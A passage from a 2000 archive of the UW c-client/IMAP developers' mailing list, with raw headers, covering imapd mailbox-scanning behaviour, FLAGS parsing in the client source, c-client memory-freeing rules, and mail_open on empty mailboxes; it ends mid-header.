(8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA10736 for ; Tue, 21 Nov 2000 22:58:40 -0800 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by goliath.siemens.de (8.11.0/8.11.0) with ESMTP id eAM6wbl29182; Wed, 22 Nov 2000 07:58:38 +0100 (MET) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.11.0/8.11.0) with ESMTP id eAM6waQ17875; Wed, 22 Nov 2000 07:58:36 +0100 (MET) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id XLQGSYW0; Wed, 22 Nov 2000 10:05:23 +0300 Message-Id: <000301c05451$a22323f0$21c9ca95@mow.siemens.ru> Date: Wed, 22 Nov 2000 09:58:35 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: , Subject: RE: Drive Scans In-Reply-To: <3A1B3D55.427D0705@linuxinside.com> MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer goliath.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Every time i am trying to subsrive to the mailbox that resides on the > linux server running imap-2000 > Outlook scans the whole system for the mailboxes. Is there any way to > stop it from doing that. > It takes a really long time ...... > Root was always a very bad choice for home directory ... or do you mean your _home_ directory when you say "whole system"? That is by design. -andrej From pinedev@shivax2.cac.washington.edu Tue Nov 21 23:14:27 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Nov 2000 23:14:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id XAA04370 for ; Tue, 21 Nov 2000 23:14:25 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA18180; Tue, 21 Nov 2000 23:14:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA16840; Tue, 21 Nov 2000 23:13:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA77308 for ; Tue, 21 Nov 2000 23:12:30 -0800 Received: from ns2.einsteinmedical.com ([207.110.40.39]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA08741 for ; Tue, 21 Nov 2000 23:12:30 -0800 Received: from linuxinside.com (pruchai@solefald.linuxinside.com [216.120.72.83]) by ns2.einsteinmedical.com (8.9.3/8.9.3) with ESMTP id XAA10570; Tue, 21 Nov 2000 23:09:27 -0800 Message-Id: <3A1B7127.7BB66770@linuxinside.com> Date: Tue, 21 Nov 2000 23:09:27 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: igor@linuxinside.com To: Andrej Borsenkow Cc: c-client@u.washington.edu Subject: Re: Drive Scans References: <000301c05451$a22323f0$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit X-Sender: pruchai@ns2.einsteinmedical.com X-Accept-Language: en, ru X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN root ? i didn't not say anything about root. it is scanning the whole system as far as it could read. I am logging in from outlook as a regular user, not root (can root login through imap ?) so i stopped it when it told me that 125000 files and folders scanned and was still going... in the list of scanned files i saw /etc/, /usr/local/, /tmp, /export/home/my_home_dir I am fine with $HOME since this is how it is supposed to work, but the rest of them.... it is also scanning .netscape/cache which is not small.... can i setup $IMAP_DIR or something ? I have a NetBSD box which works like it is supposed to... It is scanning ONLY $HOME..... Andrej Borsenkow wrote: > > Every time i am trying to subsrive to the mailbox that resides on the > > linux server running imap-2000 > > Outlook scans the whole system for the mailboxes. Is there any way to > > stop it from doing that. > > It takes a really long time ...... > > > > Root was always a very bad choice for home directory ... or do you mean your > _home_ directory when you say "whole system"? That is by design. > > -andrej From pinedev@shivax2.cac.washington.edu Wed Nov 22 00:24:39 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Nov 2000 00:24:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id AAA21233 for ; Wed, 22 Nov 2000 00:24:38 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA19376; Wed, 22 Nov 2000 00:24:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA33498; Wed, 22 Nov 2000 00:20:47 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA278158 for ; Wed, 22 Nov 2000 00:20:08 -0800 Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA18403 for ; Wed, 22 Nov 2000 00:20:07 -0800 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by goliath.siemens.de (8.11.0/8.11.0) with ESMTP id eAM8K6l24580; Wed, 22 Nov 2000 09:20:06 +0100 (MET) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.11.0/8.11.0) with ESMTP id eAM8K5Q15023; Wed, 22 Nov 2000 09:20:05 +0100 (MET) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id XLQGSZDT; Wed, 22 Nov 2000 11:26:52 +0300 Message-Id: <000401c0545d$04043450$21c9ca95@mow.siemens.ru> Date: Wed, 22 Nov 2000 11:20:04 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: Cc: Subject: RE: Drive Scans In-Reply-To: <3A1B7127.7BB66770@linuxinside.com> MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer goliath.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > > root ? i didn't not say anything about root. > it is scanning the whole system as > far as it could read. It _should_ scan only your home directory. If your home directory is set to `/' - that is root - it will scan the whole system. > I am logging in from outlook as a regular user, not root (can root login > through imap ?) I did not mean "log in as root". I meant "filesystem root", root directory. > so i stopped it when it told me that 125000 files and folders > scanned and was > still going... > in the list of scanned files i saw /etc/, /usr/local/, /tmp, > /export/home/my_home_dir > I am fine with $HOME since this is how it is supposed to work, but > the rest of > them.... Again - it _should_ scan only your home directory. Could you please be more specific about your setup? > it is also scanning .netscape/cache which is not small.... > It is supposed to. You can either recompile imapd or use unsupported config file to turn dot-files off. > can i setup $IMAP_DIR or something ? > In Outlook 2000 you can set "IMAP folder root". You can recompile imapd to change its behaviour. Both are official methods. Again, you can use unsupported config file to change folder location. > I have a NetBSD box which works like it is supposed to... > It is scanning ONLY $HOME..... > When imapd is invoked from inetd, no $HOME is defined. It looks in /etc/profile to find your home directory. Possible cases for your problem are: - your home dir is set to `/' in /etc/profile - you have symlink to `/' somewhere in your home - bug in imapd (but I use the same version and it works; so far you are the only person who has this problem) - bug in particualr binary you are using. Have you compiled from source or used some binary distro? -andrej From pinedev@shivax2.cac.washington.edu Wed Nov 22 05:41:08 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Nov 2000 05:41:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id FAA27642 for ; Wed, 22 Nov 2000 05:41:07 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA18984; Wed, 22 Nov 2000 05:41:05 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA34768; Wed, 22 Nov 2000 05:40:12 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA183170 for ; Wed, 22 Nov 2000 05:39:17 -0800 Received: from sunmail.canal-plus.fr (sunmail.canal-plus.fr [194.2.208.66]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA23463 for ; Wed, 22 Nov 2000 05:39:15 -0800 Received: from sun228.canal-plus.fr (sun228 [172.20.8.228]) by sunmail.canal-plus.fr (8.10.1/8.10.1) with ESMTP id eAMDgwZ09713 for ; Wed, 22 Nov 2000 14:42:58 +0100 (MET) Received: from tvnum.canal-plus.fr (tvnum [172.20.8.1]) by sun228.canal-plus.fr (8.8.8+Sun/8.8.8) with ESMTP id OAA01807 for ; Wed, 22 Nov 2000 14:41:52 +0100 (MET) Received: from canal-plus.fr (pc8099 [172.20.8.99]) by tvnum.canal-plus.fr (8.8.8/8.8.8) with ESMTP id OAA19388 for ; Wed, 22 Nov 2000 14:41:52 +0100 (MET) Message-Id: <3A1BCBE0.E8F0C4C1@canal-plus.fr> Date: Wed, 22 Nov 2000 14:36:32 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: lelalem@canal-plus.fr To: c-client@u.washington.edu Subject: problem when parsing this untaged response : * FLAGS (\Answered \Flagged....) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------DA315F41E4E92F9BF3432547" X-Accept-Language: fr X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --------------DA315F41E4E92F9BF3432547 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit In the case of the following untagged response: * FLAGS (\Answered \Flagged....) The fields user_flags[] of the mail_stream struct is never updated because the underling expression in the following source are always false. I think that the correction is : if (*s == '\\') is it correct ? can somebody help me ? source extracted from the file "imapr1.c" ============================= } else if (!strcmp (reply->key,"FLAGS")) { /* flush old user flags if any */ while ((i < NUSERFLAGS) && stream->user_flags[i]) fs_give ((void **) &stream->user_flags[i++]); i = 0; /* add flags */ if (reply->text && (s = (char *) strtok (reply->text+1," )"))) do { if (*s != '\\') stream->user_flags[i++] = cpystr (s); } while (s = (char *) strtok (NIL," )")); } --------------DA315F41E4E92F9BF3432547 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
    In the case of the following untagged response:
        * FLAGS (\Answered \Flagged....)
    The fields user_flags[] of the mail_stream struct is never updated because the underling expression in the following source are always false.
     I think that the correction is : if (*s == '\\')
    is it correct ?
    can somebody help me ?

    source extracted from the file "imapr1.c"
    =============================
     } else if (!strcmp (reply->key,"FLAGS")) {
      /* flush old user flags if any */
      while ((i < NUSERFLAGS) && stream->user_flags[i])
       fs_give ((void **) &stream->user_flags[i++]);
      i = 0;   /* add flags */
      if (reply->text && (s = (char *) strtok (reply->text+1," )")))
       do {
        if (*s != '\\') stream->user_flags[i++] = cpystr (s);
       } while (s = (char *) strtok (NIL," )"));
     }
     
     
      --------------DA315F41E4E92F9BF3432547-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 22 07:36:01 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Nov 2000 07:36:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA01129 for ; Wed, 22 Nov 2000 07:35:59 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA21432; Wed, 22 Nov 2000 07:35:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA20544; Wed, 22 Nov 2000 07:33:50 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA347594 for ; Wed, 22 Nov 2000 07:33:02 -0800 Received: from ns2.einsteinmedical.com ([207.110.40.39]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA19105 for ; Wed, 22 Nov 2000 07:33:01 -0800 Received: from linuxinside.com (pruchai@solefald.linuxinside.com [216.120.72.83]) by ns2.einsteinmedical.com (8.9.3/8.9.3) with ESMTP id HAA16434; Wed, 22 Nov 2000 07:29:59 -0800 Message-Id: <3A1BE677.D9D1CDA5@linuxinside.com> Date: Wed, 22 Nov 2000 07:29:59 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: igor@linuxinside.com To: Andrej Borsenkow Cc: c-client@u.washington.edu Subject: Re: Drive Scans References: <000401c0545d$04043450$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit X-Sender: pruchai@ns2.einsteinmedical.com X-Accept-Language: en, ru X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've beens using linux for a few years now and i've never heard of people setting up their homedir as /. To me this sounds really stupid. The only OS i've seen it is happening on is Solaris and / is the home of the user root. just like i said, my home directory is /export/home/my_user_name I did the default install except that i compiled it with OpenSSL. My NetBSD box has no OpenSSL and NO problems with scanninig everything under /. But for some reason i do not think that this is ssl related issue.... Anyhow, can you tell me a little more about _unsupported_ config file that will turn off all the dot files ? or what do i have to disable in the source in order to get the same no_dot_files result ? And yes, i know that you can set the forlder in outlook, but the problem is that i am wrting a web based mail package in php and i want it to scan for the users mailboxes and give user a list, but since it is scanning everything the page just times out..... And yes, i compiled it from source few times. I am not big fan of rpms...... Why would it look in /etc/profile for my home dir ? Why would /etc/profile have this info ? OR you meant /etc/passwd ? if that is what you meant then /etc/passwd is set exactly the way it is supposed to be setup I will recopile it without OpenSLL today and will let you know if it fixed the problem. igor Andrej Borsenkow wrote: > > > > > > root ? i didn't not say anything about root. > > it is scanning the whole system as > > far as it could read. > > It _should_ scan only your home directory. If your home directory is set to > `/' - that is root - it will scan the whole system. > > > I am logging in from outlook as a regular user, not root (can root login > > through imap ?) > > I did not mean "log in as root". I meant "filesystem root", root directory. > > > so i stopped it when it told me that 125000 files and folders > > scanned and was > > still going... > > in the list of scanned files i saw /etc/, /usr/local/, /tmp, > > /export/home/my_home_dir > > I am fine with $HOME since this is how it is supposed to work, but > > the rest of > > them.... > > Again - it _should_ scan only your home directory. Could you please be more > specific about your setup? > > > it is also scanning .netscape/cache which is not small.... > > > > It is supposed to. You can either recompile imapd or use unsupported config > file to turn dot-files off. > > > can i setup $IMAP_DIR or something ? > > > > In Outlook 2000 you can set "IMAP folder root". You can recompile imapd to > change its behaviour. Both are official methods. Again, you can use > unsupported config file to change folder location. > > > I have a NetBSD box which works like it is supposed to... > > It is scanning ONLY $HOME..... > > > > When imapd is invoked from inetd, no $HOME is defined. It looks in > /etc/profile to find your home directory. Possible cases for your problem are: > > - your home dir is set to `/' in /etc/profile > - you have symlink to `/' somewhere in your home > - bug in imapd (but I use the same version and it works; so far you are the > only person who has this problem) > - bug in particualr binary you are using. Have you compiled from source or > used some binary distro? > > -andrej From pinedev@shivax2.cac.washington.edu Wed Nov 22 07:41:16 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Nov 2000 07:41:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA12820 for ; Wed, 22 Nov 2000 07:41:14 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA21579; Wed, 22 Nov 2000 07:41:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA21240; Wed, 22 Nov 2000 07:40:26 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA386740 for ; Wed, 22 Nov 2000 07:39:57 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (martell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA19941 for ; Wed, 22 Nov 2000 07:39:57 -0800 Message-Id: Date: Wed, 22 Nov 2000 07:38:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: lelalem@canal-plus.fr Cc: c-client@u.washington.edu Subject: re: problem when parsing this untaged response : * FLAGS (\Answered \Flagged....) In-Reply-To: <3A1BCBE0.E8F0C4C1@canal-plus.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The code is correct as given in the code. Flags which start with \ are not user flags, and therefore do not belong in the stream->user_flags[]. From pinedev@shivax2.cac.washington.edu Fri Nov 24 11:03:59 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Nov 2000 11:03:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA01453 for ; Fri, 24 Nov 2000 11:03:57 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA16962; Fri, 24 Nov 2000 11:03:51 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA09356; Fri, 24 Nov 2000 11:02:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA83460 for ; Fri, 24 Nov 2000 11:00:08 -0800 Received: from neouvielle.enserb.fr (root@neouvielle.enserb.fr [147.210.18.138]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA18212 for ; Fri, 24 Nov 2000 11:00:06 -0800 Received: from enserb.fr (dinh@narrhavas [147.210.18.145]) by neouvielle.enserb.fr (8.9.3/8.9.3) with ESMTP id TAA03595 for ; Fri, 24 Nov 2000 19:59:46 +0100 (MET) Message-Id: <3A1EC89C.A7894FAF@enserb.fr> Date: Fri, 24 Nov 2000 19:59:24 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DINH V. =?iso-8859-1?Q?Ho=E0?=" To: c-client@u.washington.edu Subject: freeing memory MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: dinh@enserb.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN when we read a mail via stream = mail_open(stream, mailbox, 0); and when we fetch mail, envelope, etc ... What memory do we exactly have to free ? thanks. -- Hoa -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 24 11:20:48 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Nov 2000 11:20:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA01146 for ; Fri, 24 Nov 2000 11:20:46 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA17239; Fri, 24 Nov 2000 11:20:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA38620; Fri, 24 Nov 2000 11:19:39 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA407912 for ; Fri, 24 Nov 2000 11:18:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rossi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA18144 for ; Fri, 24 Nov 2000 11:18:45 -0800 Message-Id: Date: Fri, 24 Nov 2000 11:08:45 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "DINH V. =?iso-8859-1?Q?Ho=E0?=" Cc: c-client@u.washington.edu Subject: re: freeing memory In-Reply-To: <3A1EC89C.A7894FAF@enserb.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 Nov 2000 19:59:24 +0000, DINH V. =?iso-8859-1?Q?Ho=E0?= wrote: > when we read a mail via > stream = mail_open(stream, mailbox, 0); > and when we fetch mail, envelope, etc ... > > What memory do we exactly have to free ? You only free memory that you created in your application, either 1) directly by fs_get(), cpystr(), or any mail_new???() function. 2) indirectly by the following functions: mail_sort(), mail_thread(), rfc822_base64(), rfc822_binary(), rfc822_qprint(), and rfc822_8bit(). All memory created by c-client is freed by mail_close() of the mailstream which owns that memory. Do not attempt to free any memory returned by any mail_fetch_???() routines. Put another way, you must free an envelope that you created yourself for sending a message, but you must not free an envelope returned by mail_fetch_structure(). From pinedev@shivax2.cac.washington.edu Sun Nov 26 07:21:35 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Nov 2000 07:21:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA29811 for ; Sun, 26 Nov 2000 07:21:33 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA27091; Sun, 26 Nov 2000 07:21:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA35832; Sun, 26 Nov 2000 07:20:27 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA22270 for ; Sun, 26 Nov 2000 07:18:28 -0800 Received: from europa.gatecom.com ([209.69.204.245]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA12465 for ; Sun, 26 Nov 2000 07:18:24 -0800 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id LAA08608; Sun, 26 Nov 2000 11:35:02 -0500 Message-Id: <200011261635.LAA08608@europa.gatecom.com> Date: Sun, 26 Nov 2000 11:35:01 EST Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@u.washington.edu Subject: Mail_Open in IMAP_2000 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.10 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If imap-2000 attempts to open a mailbox with no messages and no "prefixing" mail message in the box (otherwise a zero-byte file), mail_open appears to return null. I understand why, but is there any way to require it to insert the prefixing message into the mailbox? The issue has become if they delete all their mail and do not have this prefixing message, c-client returns null. That's ok, except that sometimes the null is a good thing, like when the user fadinks with their permissions. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 26 11:00:13 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Nov 2000 11:00:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA00728 for ; Sun, 26 Nov 2000 11:00:11 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA30395; Sun, 26 Nov 2000 11:00:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA29186; Sun, 26 Nov 2000 10:59:18 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA177392 for ; Sun, 26 Nov 2000 10:58:18 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mtk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA19673 for ; Sun, 26 Nov 2000 10:58:18 -0800 Message-Id: Date: Sun, 26 Nov 2000 10:56:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ptr@gatecom.com Cc: c-client@u.washington.edu Subject: re: Mail_Open in IMAP_2000 In-Reply-To: <200011261635.LAA08608@europa.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Nov 2000 11:35:01 EST, J T Breitner wrote: > If imap-2000 attempts to open a mailbox with no messages and no > "prefixing" mail message in the box (otherwise a zero-byte file), mail_open > appears to return null. What do you mean by "return null"? c-client should return an open mailstream with zero messages. If it does not, are you running a modified version of c-client? Have you deleted any drivers? From pinedev@shivax2.cac.washington.edu Sun Nov 26 20:10:05 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Nov 2000 20:10:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA18227 for ; Sun, 26 Nov 2000 20:10:03 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA07232; Sun, 26 Nov 2000 20:10:02 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA40474; Sun, 26 Nov 2000 